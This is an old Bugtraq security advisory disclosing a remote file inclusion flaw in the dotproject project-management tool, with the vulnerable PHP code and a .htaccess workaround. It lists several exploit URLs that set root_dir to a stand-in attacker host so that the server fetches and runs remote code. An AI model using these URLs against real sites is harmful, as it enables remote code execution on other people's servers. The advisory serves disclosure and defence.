A non-official patch has been created for this hole and is published on
http://www.phpsecure.org/index.php?zone=pPatchA&sAlpha=d&l=us (english version) .
From: mindwarper@hush.com
To: bugtraq@securityfocus.com
Subject: dotproject Remote Code Execution Vulnerability
Date: Wed, 29 Jan 2003 04:02:24 -0800
dotproject Remote Code Execution Vulnerability (By Mindwarper)
<------- ------->
----------------------
Vendor Information:
----------------------
Homepage : http://www.dotproject.net
Vendor : informed
Mailed advisory: 28/01/03
Vender Response : None
----------------------
Affected Versions:
----------------------
dev20030121
----------------------
Vulnerability:
----------------------
dotproject is a PHP+MySQL beta level web based project management and tracking tool
that dotmarketing started in Dec. 2000.
Inside the directory /modules/ multiple files try to include classdefs/date.php
without defining $root_dir first and allow remote attackers to inject their own
servers if globals are set on.
Example Code from modules/projects/addedit.php:
******
<?php
##
## Files modules: index page re-usable sub-table
##
require_once( "$root_dir/classdefs/date.php" );
$df = $AppUI->getPref('SHDATEFORMAT');
$tf = $AppUI->getPref('TIMEFORMAT');
******
As you can see nothing happens before the require_once function is called and therefore
with globals set on an attacker may include remote files.
Example:
http://victim/dotproject/modules/files/index_table.php?root_dir=http://attacker
this works also on
http://victim/dotproject/modules/projects/addedit.php?root_dir=http://attacker
http://victim/dotproject/modules/projects/view.php?root_dir=http://attacker
http://victim/dotproject/modules/projects/vw_files.php?root_dir=http://attacker
http://victim/dotproject/modules/tasks/addedit.php?root_dir=http://attacker
http://victim/dotproject/modules/tasks/viewgantt.php?root_dir=http://attacker
----------------------
Solution:
----------------------
Please check the vendor's website for new patches.
As a temporary solution, create a .htaccess file that contains 'Deny from all'.
Place it in the /modules/ directory and that should block remote users from accessing it.
----------------------
Contact:
----------------------
Name: Mindwarper
Email: mindwarper@hush.com
Website: http://mindlock.bestweb.net
<------- ------->
Concerned about your privacy? Follow this link to get
FREE encrypted email: https://www.hushmail.com/?l=2
Big $$$ to be made with the HushMail Affiliate Program:
https://www.hushmail.com/about.php?subloc=affiliate&l=427
_________________________________________________________________
